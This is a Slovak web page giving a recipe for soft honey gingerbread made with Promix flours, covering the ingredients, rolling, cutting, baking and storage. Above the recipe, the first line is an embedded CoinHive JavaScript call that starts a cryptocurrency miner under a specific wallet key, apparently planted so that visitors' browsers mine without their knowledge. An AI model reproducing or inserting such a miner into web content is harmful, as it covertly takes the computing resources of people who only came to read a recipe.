var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Cesto: 40 dkg múky Promix Uni, 40 dkg múky Promix PK, 30 dkg práškového cukru, 4 celé vajcia, 1 ½ ML sódy bikarbóny, 8 PL teplého medu, 6 dkg Palmarínu, 5 dkg mletých orechov.

Všetko spolu dobre vymiesime a na pomúčenej doske vyvaľkáme asi na hrúbku 3 – 4 mm a vykrajujeme požadované tvary. Pečieme na plechu vymastenom stopeným Palmarínom. Vrch medovníkov si pred pečením potrieme rozšľahaným vajíčkom. Plech treba potierať pred každým vložením do rúry. Veľmi dobre sa dáva dole z plechu. Vychladnuté si treba uložiť najlepšie na chladnom mieste a prikryť mikroténovým sáčkom a vydržia mäkké aj 2 mesiace.